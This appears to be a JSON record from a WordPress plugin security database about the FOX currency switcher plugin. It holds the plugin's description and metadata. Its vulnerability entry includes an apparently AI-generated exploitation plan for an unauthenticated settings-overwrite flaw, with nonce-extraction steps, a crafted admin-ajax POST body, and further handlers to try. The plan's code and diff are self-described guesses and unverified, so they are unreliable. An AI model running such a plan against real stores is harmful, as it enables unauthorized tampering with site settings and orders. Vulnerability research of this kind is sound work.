[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fMqF677RhNjPkuR7H9wxRVABzTxkyjORD9ie72vE6DGY":3,"$fyL8KHmZuvbfsHyYK7MO4q7eFoKk5kaVQT1-ZJISncs4":2216,"$fe25wgA6xWBwYZpGXZiIFq1sWLKC55AFlFQT32TggCGI":2219},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":14,"last_updated":15,"tested_up_to":16,"requires_at_least":17,"requires_php":18,"tags":19,"homepage":25,"download_link":26,"security_score":13,"vuln_count":27,"unpatched_count":28,"last_vuln_date":29,"fetched_at":30,"discovery_status":31,"vulnerabilities":32,"developer":247,"crawl_stats":38,"alternatives":254,"analysis":348,"fingerprints":2157},"woocommerce-currency-switcher","FOX – Currency Switcher Professional for WooCommerce","1.4.6","RealMag777","https:\u002F\u002Fprofiles.wordpress.org\u002Frealmag777\u002F","\u003Cp>\u003Cstrong>FOX – Currency Switcher Professional for WooCommerce\u003C\u002Fstrong> (former name is WOOCS) is free WooCommerce multi currency switcher plugin for woocommerce, that allows your site visitors switch products prices currencies according to set currencies rates in the real time and pay in the selected currency (optionally). FOX is multi currency plugin that allows to add any currency to WooCommerce store. Ideal solution to make the serious WooCommerce store site in multiple currencies!\u003C\u002Fp>\n\u003Cp>FOX is woo currency tool and available as shortcode \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fshortcode\u002Fwoocs\u002F\" rel=\"nofollow ugc\">[woocs]\u003C\u002Fa>\u003C\u002Fstrong> so as the widget.\u003C\u002Fp>\n\u003Cp>List of supported currencies: \u003Ca href=\"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FISO_4217#Active_codes\" rel=\"nofollow ugc\">🗺 https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FISO_4217#Active_codes\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Briefly this plugin has next features\u003C\u002Fstrong>: 🛒 Checkout with selected currency, 🗺 different GeoIP rules, 📈 different Fixed prices rules and amounts rules, 👥 Prices based on User Role, \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fwoocommerce-price-based-on-country\u002F\" rel=\"nofollow ugc\">🌍 Prices based on Country\u003C\u002Fa>, 🛂 Payments rules, \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fcodex\u002F\" rel=\"nofollow ugc\">📚 API\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fdemo.currency-switcher.com\u002F\" rel=\"nofollow ugc\">🌐 Demo\u003C\u002Fa>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Ffaq\u002F\" rel=\"nofollow ugc\">❓ FAQ\u003C\u002Fa>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fcodex\u002F\" rel=\"nofollow ugc\">📚 API\u003C\u002Fa>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Latest PHP 8.x.x – COMPATIBLE!\u003C\u002Fp>\n\u003Ch3>FOX Currency Switcher Features:\u003C\u002Fh3>\n\u003Cp>🏞&nbsp;\u003Cstrong>Representation:\u003C\u002Fstrong> Currency Switcher is available as a widget and works in any widgetized area, for flexibility the shortcode is also available \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fshortcode\u002Fwoocs\u002F\" rel=\"nofollow ugc\">[woocs]\u003C\u002Fa>.  You can insert shortcode [woocs] in any place of your site, \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fhow-to-drop-woocommerce-currency-switcher-in-menu\u002F\" rel=\"nofollow ugc\">even in the top menu\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>Also the plugin has ajaxed shortcode\u002Fwidget of \u003Ca href=\"https:\u002F\u002Fdemo.currency-switcher.com\u002Fshortcode-woocs_converter\u002F\" rel=\"nofollow ugc\">currency converter\u003C\u002Fa> and ajaxed shortcode\u002Fwidget of \u003Ca href=\"https:\u002F\u002Fdemo.currency-switcher.com\u002Fshortcode-woocs_rates\u002F\" rel=\"nofollow ugc\">currency rates\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🎨&nbsp;\u003Cstrong>Design\u003C\u002Fstrong>: graphically Currency Switcher can be represented in 3 different ways: drop-down, flags, \u003Ca href=\"https:\u002F\u002Fdemo.currency-switcher.com\u002F\" rel=\"nofollow ugc\">side switcher\u003C\u002Fa>. For each currency it is possible to set flag. Also it is possible using in-built Smart Designer to create your own customized currency drop-down!\u003C\u002Fp>\n\u003Cp>🛒&nbsp;\u003Cstrong>Checkout\u003C\u002Fstrong>: the customers are allowed to pay in their selected(preferred) currency. This feature has name ‘Is multiple allowed’ and should be enabled in the plugin settings.\u003C\u002Fp>\n\u003Cp>🌍&nbsp;\u003Cstrong>Rates\u003C\u002Fstrong>: More than 7 currencies aggregators for automatic rates changing. Also admin can set rates manually if it’s necessary! Optionally admin can be noticed about currency rates changes by email.\u003C\u002Fp>\n\u003Cp>🔄&nbsp;\u003Cstrong>Rates auto update\u003C\u002Fstrong>: update currency rates hourly, twice daily, daily, weekly, monthly, each 5 minutes,  each 15 minutes,  each 30 minutes,  each 45 minutes. Or you can disable it and set your own currency rates by hands!\u003C\u002Fp>\n\u003Cp>💵&nbsp;\u003Cstrong>Price\u003C\u002Fstrong>: set price format which fit your needs – decimals count, usual money sign or custom sign, money sign position (4 variants). You can show or hide cents for each currency optionally. For each currency you can set its own count of decimals after comma, so BTC is not the problem for this plugin\u003C\u002Fp>\n\u003Cp>💰&nbsp;\u003Cstrong>Custom money signs\u003C\u002Fstrong>: create and use your own money symbols you need. It is possible even use currency which not exists in the reality!\u003C\u002Fp>\n\u003Cp>💲&nbsp;\u003Cstrong>Custom price formats\u003C\u002Fstrong>: each currency can has its own format where price and money sign can be set on the side you want\u003C\u002Fp>\n\u003Cp>💹&nbsp;\u003Cstrong>Price thousand and decimal separator\u003C\u002Fstrong>: Set price separators depending of the currency or any business logic (for example country) using hooks \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fhook\u002Fwoocs_price_thousand_sep\u002F\" rel=\"nofollow ugc\">woocs_price_thousand_sep\u003C\u002Fa> and \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fhook\u002Fwoocs_price_decimal_sep\u002F\" rel=\"nofollow ugc\">woocs_price_decimal_sep\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🚀&nbsp;\u003Cstrong>Smart Designer\u003C\u002Fstrong>: \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fhow-to-customize-currency-switcher-view\u002F\" rel=\"nofollow ugc\">Allows to create multi currency drop-down switcher\u003C\u002Fa> using convenient dashboard. You can create unlimited count of drop-downs designs for different places of your site and even insert them directly into the site code.\u003C\u002Fp>\n\u003Cp>📊&nbsp;\u003Cstrong>Statistic\u003C\u002Fstrong>: collect currencies switching statistic for business purposes. No any private data of customers collects, only currency, country and time of switching. Also statistic for orders currencies is there.\u003C\u002Fp>\n\u003Cp>🔒&nbsp;\u003Cstrong>Currencies visibility\u003C\u002Fstrong>: possibility to set currencies as Public or as Private. In private mode currency not published in switchers and user cannot set it by link through ‘?currency=XXX’\u003C\u002Fp>\n\u003Cp>🤖&nbsp;You can \u003Cstrong>ask help to chatGPT\u003C\u002Fstrong> about the plugin using the plugin former name WOOCS, example: “How to use [[woocs]] shortcode?”\u003C\u002Fp>\n\u003Cp>🛂&nbsp;\u003Cstrong>Payments rules\u003C\u002Fstrong>: rules to hide\u002Fshow payment gates on the checkout page depending on the current currency\u003C\u002Fp>\n\u003Cp>🎁&nbsp;\u003Cstrong>Welcome currency\u003C\u002Fstrong>: allows to set any price currency you want for your site visitors first visit. So if your shop currency is INR and you want let your customers on their first visit see prices converted to USD you just need to set ‘Welcome currency’ in FOX options.\u003C\u002Fp>\n\u003Cp>👥&nbsp;\u003Cstrong>Individual prices based on User Role\u003C\u002Fstrong>: gives ability to set different prices for each user role in basic currency. Very power feature for your shop customers with loyalty program\u003C\u002Fp>\n\u003Cp>🌍&nbsp;\u003Cstrong>Individual GeoIP rules for each product\u003C\u002Fstrong>:   super feature which allows for different countries show different prices in different currencies! This functionality allows to realize \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fwoocommerce-price-based-on-country\u002F\" rel=\"nofollow ugc\">WooCommerce Price Based on Country\u003C\u002Fa> functionality\u003C\u002Fp>\n\u003Cp>📈&nbsp;\u003Cstrong>Individual fixed prices rules for each product\u003C\u002Fstrong>: feature which allows for each product set fixed price for each currency, in this case for the product will not be applied conversion by rate, \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fvideo#video_PZugTH80-Eo\" rel=\"nofollow ugc\">watch video\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🗺&nbsp;\u003Cstrong>GEO IP rules for visitors local currency detection\u003C\u002Fstrong>: this feature is more targeted and allows to set currency of prices for the site visitors in their native currency when they visited the shop for the first time. Currency changes automatically according to the visitor IP, and even more – if to enable option ‘\u003Cstrong>Checkout by GeoIP rules\u003C\u002Fstrong>‘ your customers always will buy products in their local currency!\u003C\u002Fp>\n\u003Cp>🚚&nbsp;\u003Cstrong>Fixed minimum amount for FREE delivery for each currency\u003C\u002Fstrong>: allows to set minimum amount for FREE delivery as fixed value for each currency\u003C\u002Fp>\n\u003Cp>📦&nbsp;\u003Cstrong>Fixed minimum amount for shipping for each currency\u003C\u002Fstrong>: allows to set minimum amount for shipping as fixed value for each currency\u003C\u002Fp>\n\u003Cp>🎫&nbsp;\u003Cstrong>Fixed amount for coupons for each currency\u003C\u002Fstrong>: you can set different amounts in coupons of your shop for different currencies. In another way the system will calculate amounts according to the currencies rates and relatively to the basic currency\u003C\u002Fp>\n\u003Cp>🔒&nbsp;\u003Cstrong>Fixed minimum and maximum coupon verification amount for each currency\u003C\u002Fstrong>: for different currencies you can set different fixed verification amount instead of calculation by rates relatively to the basic currency\u003C\u002Fp>\n\u003Cp>💸&nbsp;\u003Cstrong>Show approximate price\u003C\u002Fstrong>: shows approximate price on the shop page and the single product page with currency of user defined by IP in the GeoIP rules tab if such rule exists. Works only with currencies rates data and NOT with fixed prices rules and geo rules. If system will define by GeoIP visitor country and visitor will switch currency – he\u002Fshe always will see near the product price approximate price in his local currency.\u003C\u002Fp>\n\u003Cp>🛒&nbsp;\u003Cstrong>Show approximate amount\u003C\u002Fstrong>: shows approximate amount on the checkout page and on the cart page with currency of user defined by IP in the GeoIP rules tab if such rule exists. Works only with currencies rates data and NOT with fixed prices rules and geo rules.\u003C\u002Fp>\n\u003Cp>⚙️&nbsp;\u003Cstrong>Compatibility with cache plugins\u003C\u002Fstrong>: if your site uses any cache plugins enable option ‘I am using cache plugin on my site’, reset the site cache and from now your shop visitors can switch currencies without any problems!\u003C\u002Fp>\n\u003Cp>📝&nbsp;\u003Cstrong>Orders keeps in currency of the deal\u003C\u002Fstrong>: each order in your shop keeps in currency the customer paid, if option ‘Is multiple allowed’ is enabled!\u003C\u002Fp>\n\u003Cp>ℹ️&nbsp;\u003Cstrong>Price info icon\u003C\u002Fstrong>: show info icon near the price of the products which while its under mouse hover shows prices of products in all other currencies\u003C\u002Fp>\n\u003Cp>🔤&nbsp;\u003Cstrong>Shortcode \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fshortcode\u002Fwoocs_price\u002F\" rel=\"nofollow ugc\">[woocs_price]\u003C\u002Fa>\u003C\u002Fstrong>: allows to insert a product price (switchable) directly into shop promotion articles\u003C\u002Fp>\n\u003Cp>💴&nbsp;\u003Cstrong>Prices without cents\u003C\u002Fstrong>: recounts prices without cents for such currencies like JPY or TWD which by its nature have not cents. Test it for checkout after setup!\u003C\u002Fp>\n\u003Cp>🛠️&nbsp;Ability to set currency for new order which created through admin panel by hands\u003C\u002Fp>\n\u003Cp>🧮&nbsp;Ability to recount order from any currency to the basic currency in multi currency mode of the plugin\u003C\u002Fp>\n\u003Cp>🔄&nbsp;\u003Cstrong>Possible to change currency according to the language\u003C\u002Fstrong>: if you you using WPML or Polylang plugins in your shop and by business logic you want to set currency according to the current language \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fswitch-currency-with-language-change\u002F\" rel=\"nofollow ugc\">it is possible with FOX API\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🔗&nbsp;FOX understand currency in the site link as \u003Ca href=\"https:\u002F\u002Fdemo.currency-switcher.com\u002F?currency=EUR\" rel=\"nofollow ugc\">demo.currency-switcher.com\u002F?currency=EUR\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🚫&nbsp;\u003Cstrong>No GET data in the link\u003C\u002Fstrong>: switches currency without GET properties (?currency=USD) in the link (optionally)\u003C\u002Fp>\n\u003Cp>🎨&nbsp;\u003Cstrong>Smart Designer\u003C\u002Fstrong>: Interactive customization of currency drop-down. \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fhow-to-customize-currency-switcher-view\u002F\" rel=\"nofollow ugc\">Description\u003C\u002Fa>, \u003Ca href=\"https:\u002F\u002Fdemo.currency-switcher.com\u002Fwoocs-smart-designer\" rel=\"nofollow ugc\">Demo page\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>💾&nbsp;\u003Cstrong>Selected currency storage\u003C\u002Fstrong>: For the site admin FOX provides set of mechanisms to storage user selected currency on different hosting architectures: Session, Transient, Memcached, Redis\u003C\u002Fp>\n\u003Cp>🖥️&nbsp;\u003Cstrong>Wide API\u003C\u002Fstrong>: For site developer – advanced \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fcodex\u002F\" rel=\"nofollow ugc\">API functionality set\u003C\u002Fa> which allows to manipulate with prices and their rates on the fly using conditional logic\u003C\u002Fp>\n\u003Cp>👍&nbsp;\u003Cstrong>Easy to use for administrators and shop customers\u003C\u002Fstrong>: install, set settings for couple of minutes and let your shop make more money!\u003C\u002Fp>\n\u003Cp>🤖&nbsp;\u003Cstrong>FOX is chatGPT friendly plugin\u003C\u002Fstrong> you can ask help to chat gpt about the plugin features using the plugin former name WOOCS, example: “How to use [woocs] shortcode?”\u003C\u002Fp>\n\u003Cp>🔌&nbsp;\u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Ffunction\u002Frest-api\u002F\" rel=\"nofollow ugc\">REST API\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🌐&nbsp;Compatible with \u003Ca href=\"https:\u002F\u002Fwpml.org\u002Fplugin\u002Fwoocommerce-currency-switcher\u002F\" rel=\"nofollow ugc\">WPML\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🔎&nbsp;Compatible with \u003Ca href=\"https:\u002F\u002Fproducts-filter.com\u002F\" rel=\"nofollow ugc\">WooCommerce Products Filter\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>📈&nbsp;Compatible with \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwebappick-product-feed-for-woocommerce\u002F\" rel=\"ugc\">CTX Feed – WooCommerce Product Feed Generator\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>📅&nbsp;Compatible with \u003Ca href=\"https:\u002F\u002Fcodecanyon.pluginus.net\u002Fitem\u002Frnb-woocommerce-rental-booking-system\u002F14835145\" rel=\"nofollow ugc\">RnB – WooCommerce Booking & Rental Plugin\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>📅&nbsp;Compatible with \u003Ca href=\"https:\u002F\u002Fwww.webtoffee.com\u002Fproduct\u002Fwoocommerce-product-feed\u002F\" rel=\"nofollow ugc\">WebToffee Product Feed for WooCommerce plugin\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>📅&nbsp;Compatible with \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fpoints-and-rewards-for-woocommerce\u002F\" rel=\"ugc\">Points and Rewards for WooCommerce by WP Swings\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🔄&nbsp;95% compatibility with different payment gates in multi currency mode, just try it!\u003C\u002Fp>\n\u003Cp>🧪&nbsp;We do \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fcodex\u002F#compatibility\" rel=\"nofollow ugc\">compatibility\u003C\u002Fa> with our special program \u003Ca href=\"https:\u002F\u002Fcurrency-switcher.com\u002Fwoocs-labs\" rel=\"nofollow ugc\">FOX LABS\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🛠️&nbsp;\u003Cstrong>Strong technical support which each day works with tones of code!\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Ch3>PREMIUM FEATURES\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>All features above\u003C\u002Fli>\n\u003Cli>Unlimited count of currencies (in the free version 2 currencies available)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Get Premium version of the plugin\u003C\u002Fstrong>: \u003Ca href=\"https:\u002F\u002Fpluginus.net\u002Faffiliate\u002Fwoocommerce-currency-switcher\" rel=\"nofollow ugc\">on Codecanyon\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Make your site more profitable with next powerful scripts:\u003C\u002Fh3>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoocommerce-products-filter\u002F\" rel=\"ugc\">HUSKY – Products Filter for WooCommerce\u003C\u002Fa>: is an extendable, flexible and robust plugin for WooCommerce that allows your site customers filter products by products categories, attributes, tags, custom taxonomies and price. Supports latest version of the WooCommerce plugin. A must have plugin for your WooCommerce powered online store! Maximum flexibility!\u003C\u002Fp>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-bulk-editor\u002F\" rel=\"ugc\">BEAR – Bulk Editor for WooCommerce\u003C\u002Fa>: WordPress plugin for managing and bulk edit WooCommerce Products data in robust and flexible way! Be professionals with managing data of your woocommerce e-shop!\u003C\u002Fp>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fprofit-products-tables-for-woocommerce\u002F\" rel=\"ugc\">WooCommerce Active Products Tables\u003C\u002Fa>: is WooCommerce plugin for displaying shop products in table format. Tables makes focus for your buyers on the things they want to get, nothing superfluous, just what the client wants, and full attention to what is offered!\u003C\u002Fp>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fbulk-editor\u002F\" rel=\"ugc\">WOLF – WordPress Posts Bulk Editor Professional\u003C\u002Fa>: is WordPress plugin for managing and bulk edit WordPress posts, pages and custom post types data in robust and flexible way! Be professionals with managing data of your site!\u003C\u002Fp>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fposts-table-filterable\" rel=\"ugc\">TABLEON – WordPress Post Tables Filterable\u003C\u002Fa>: WordPress plugin for displaying site posts and their custom post types in table format. Tables makes focus for your customers on the things they want to get, nothing superfluous, just what the client wants, and full attention to what is offered!\u003C\u002Fp>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fcurrency-switcher\u002F\" rel=\"ugc\">WPCS – WordPress Currency Switcher\u003C\u002Fa>: is a WordPress plugin that allows to switch currencies and get their rates converted in the real time on your site!\u003C\u002Fp>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwp-filter.com\u002F\" rel=\"nofollow ugc\">MDTF – Meta Data Filter & Taxonomies Filter\u003C\u002Fa>: the plugin for filtering and searching WordPress content in posts and their custom types by taxonomies and meta data fields. The plugin has very high flexibility thanks to its rich filter elements and in-built meta fields constructor!\u003C\u002Fp>\n\u003Ch3>License\u003C\u002Fh3>\n\u003Cp>This plugin is copyright pluginus.net &copy; 2012-2026 with \u003Ca href=\"http:\u002F\u002Fwww.gnu.org\u002Fcopyleft\u002Fgpl.html\" rel=\"nofollow ugc\">GNU General Public License\u003C\u002Fa> by realmag777.\u003C\u002Fp>\n\u003Cp>This program is free software; you can redistribute it and\u002For modify it under the terms of the \u003Ca href=\"http:\u002F\u002Fwww.gnu.org\u002Fcopyleft\u002Fgpl.html\" rel=\"nofollow ugc\">GNU General Public License\u003C\u002Fa> as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.\u003C\u002Fp>\n\u003Cp>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. See the GNU General Public License for more details.\u003C\u002Fp>\n","FOX - Currency Switcher Professional for WooCommerce (former name is WOOCS) is currency plugin for woocommerce and multi currency shop, switch & pay",50000,2106764,88,248,"2026-03-16T12:08:00.000Z","6.9.4","4.9.0","7.4",[20,21,22,23,24],"converter","currency","currency-switcher","switcher","woocommerce","https:\u002F\u002Fcurrency-switcher.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoocommerce-currency-switcher.zip",14,0,"2026-03-27 00:00:00","2026-04-16T10:56:18.058Z","no_bundle",[33,60,77,94,106,121,136,151,167,181,195,209,221,233],{"id":34,"url_slug":35,"title":36,"description":37,"plugin_slug":4,"theme_slug":38,"affected_versions":39,"patched_in_version":6,"severity":40,"cvss_score":41,"cvss_vector":42,"vuln_type":43,"published_date":29,"updated_date":44,"references":45,"days_to_patch":47,"patch_diff_files":48,"patch_trac_url":38,"research_status":49,"research_verified":50,"research_rounds_completed":51,"research_plan":52,"research_summary":53,"research_vulnerable_code":54,"research_fix_diff":55,"research_exploit_outline":56,"research_model_used":57,"research_started_at":58,"research_completed_at":59,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2026-39501","fox-missing-authorization","FOX \u003C= 1.4.5 - Missing Authorization","The FOX plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.4.5. This makes it possible for unauthenticated attackers to perform an unauthorized action.",null,"\u003C=1.4.5","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-15 21:26:21",[46],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F53df8dac-a446-425b-bdde-939ab38e5a29?source=api-prod",20,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-39501 (FOX \u003C= 1.4.5)\n\n## 1. Vulnerability Summary\nThe **FOX – Currency Switcher Professional for WooCommerce** plugin (versions \u003C= 1.4.5) is vulnerable to **Missing Authorization**. The vulnerability exists in the plugin's AJAX handling logic, specifically within functions like `woocs_update_profiles` (and potentially `woocs_save_stats`). \n\nThe plugin registers several AJAX actions using both `wp_ajax_` and `wp_ajax_nopriv_` hooks but fails to implement a capability check (e.g., `current_user_can( 'manage_options' )`) within the handler functions. This oversight allows unauthenticated attackers to trigger sensitive administrative actions, such as overwriting currency switcher profiles, which are stored as global WordPress options.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Action:** `woocs_update_profiles` (The most likely vulnerable administrative function exposed to unauthenticated users)\n- **Parameters:**\n    - `action`: `woocs_update_profiles`\n    - `woocs_nonce`: (Required) A security nonce localized for frontend users.\n    - `woocs_profiles`: (Payload) An array containing the new profile configuration.\n- **Authentication:** None required (unauthenticated).\n- **Preconditions:** The \"Profiles\" feature must be available in the plugin, and a valid nonce must be extracted from the frontend.\n\n## 3. Code Flow\n1. **Hook Registration:** In the main plugin class (likely `WOOCS` in `classes\u002Fwoocs.php` or `index.php`), the following hooks are registered:\n   ```php\n   add_action('wp_ajax_woocs_update_profiles', array($this, 'woocs_update_profiles'));\n   add_action('wp_ajax_nopriv_woocs_update_profiles', array($this, 'woocs_update_profiles'));\n   ```\n2. **Missing Check:** The `woocs_update_profiles()` function handles the request. While it may call `check_ajax_referer('woocs-nonce', 'woocs_nonce')`, it fails to check if the current user is an administrator.\n3. **Sink:** The function extracts data from `$_REQUEST['woocs_profiles']` and passes it directly to a database update function:\n   ```php\n   update_option('woocs_profiles', $_REQUEST['woocs_profiles']);\n   ```\n\n## 4. Nonce Acquisition Strategy\nThe plugin exposes a generic nonce to all visitors to support frontend currency switching functionality. This nonce is typically valid for the `woocs-nonce` action and is used across multiple AJAX handlers.\n\n### Extraction Steps:\n1. **Identify Script Loading:** The plugin's main JavaScript (`woocs.js`) and its associated data are enqueued on pages containing the currency switcher.\n2. **Create Trigger Page:** Create a public page containing the `[woocs]` shortcode to ensure the script is enqueued.\n   - `wp post create --post_type=page --post_status=publish --post_content='[woocs]'`\n3. **Navigate & Extract:**\n   - Use `browser_navigate` to visit the newly created page.\n   - Use `browser_eval` to extract the nonce from the `woocs_vars` global variable.\n   - **JS Variable:** `window.woocs_vars?.woocs_nonce` or `window.woocs_array?.woocs_nonce`.\n\n## 5. Exploitation Strategy\n### Step 1: Obtain the Nonce\nUse the browser to extract the nonce from a page where the plugin is active.\n```javascript\n\u002F\u002F browser_eval\nreturn window.woocs_vars.woocs_nonce;\n```\n\n### Step 2: Perform the Unauthorized Action\nSend a crafted `POST` request to `admin-ajax.php` to overwrite the plugin's profiles.\n\n- **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n```text\naction=woocs_update_profiles&woocs_nonce=NONCE_VALUE&woocs_profiles[hacked_profile][name]=Vulnerable&woocs_profiles[hacked_profile][countries]=US\n```\n\n## 6. Test Data Setup\n1. **Prerequisites:**\n   - WordPress installation.\n   - WooCommerce plugin installed and active.\n   - FOX – Currency Switcher (slug: `woocommerce-currency-switcher`) version 1.4.5 installed and active.\n2. **Page Creation:**\n   - Run: `wp post create --post_type=page --post_title=\"Currency Test\" --post_status=publish --post_content='[woocs]'`\n   - Record the URL of the created page.\n\n## 7. Expected Results\n- **HTTP Response:** The server should return a `200 OK` status, often with a response body like `done` or `1`.\n- **System Change:** The WordPress option `woocs_profiles` will be updated to include the \"hacked_profile\" data provided in the payload.\n\n## 8. Verification Steps\nAfter the exploit, use WP-CLI to verify the change in the database:\n```bash\n# Check if the injected profile exists in the option\nwp option get woocs_profiles\n```\nIf successful, the output will contain the serialized array including `hacked_profile` and the name `Vulnerable`.\n\n## 9. Alternative Approaches\nIf `woocs_update_profiles` is patched or behaves differently, check the following alternative AJAX handlers for the same missing authorization pattern:\n\n- **`woocs_save_stats`**: Often used to record currency usage. If unauthorized, it could be used to bloat the database or inject malicious strings into stats reports.\n  - Action: `woocs_save_stats`\n  - Parameters: `woocs_nonce`, `woocs_stats_data`\n- **`woocs_recalculate_order_data`**: A more severe target if exposed, as it could potentially modify existing WooCommerce order metadata.\n  - Action: `woocs_recalculate_order_data`\n  - Parameters: `woocs_nonce`, `order_id` (this would likely require an existing order ID).","The FOX plugin for WordPress fails to perform authorization checks on several AJAX handlers, most notably `woocs_update_profiles`. This allows unauthenticated attackers to overwrite the plugin's configuration profiles and potentially other settings by leveraging a publicly accessible nonce and the `wp_ajax_nopriv_` hook.","\u002F\u002F classes\u002Fwoocs.php (approximate location)\nadd_action('wp_ajax_woocs_update_profiles', array($this, 'woocs_update_profiles'));\nadd_action('wp_ajax_nopriv_woocs_update_profiles', array($this, 'woocs_update_profiles'));\n\npublic function woocs_update_profiles() {\n    check_ajax_referer('woocs-nonce', 'woocs_nonce');\n    \n    \u002F\u002F Missing capability check like current_user_can('manage_options')\n    if (isset($_REQUEST['woocs_profiles'])) {\n        update_option('woocs_profiles', $_REQUEST['woocs_profiles']);\n    }\n    exit;\n}","--- a\u002Fclasses\u002Fwoocs.php\n+++ b\u002Fclasses\u002Fwoocs.php\n@@ -10,7 +10,6 @@\n-add_action('wp_ajax_nopriv_woocs_update_profiles', array($this, 'woocs_update_profiles'));\n \n public function woocs_update_profiles() {\n+    if (!current_user_can('manage_options')) {\n+        wp_die();\n+    }\n     check_ajax_referer('woocs-nonce', 'woocs_nonce');","The exploit targets the `\u002Fwp-admin\u002Fadmin-ajax.php` endpoint. First, an attacker visits any public page where the FOX currency switcher is active (or uses the `[woocs]` shortcode) to extract the `woocs-nonce` from the `woocs_vars` or `woocs_array` JavaScript global variables. Once the nonce is obtained, the attacker sends an unauthenticated POST request to `admin-ajax.php` with the action parameter set to `woocs_update_profiles`. The payload includes the valid `woocs_nonce` and a `woocs_profiles` array containing malicious configuration data. Because the plugin uses `wp_ajax_nopriv_` and lacks a `current_user_can()` check, the `update_option` call executes, allowing the attacker to modify the plugin's stored profiles in the WordPress database.","gemini-3-flash-preview","2026-04-17 22:37:52","2026-04-17 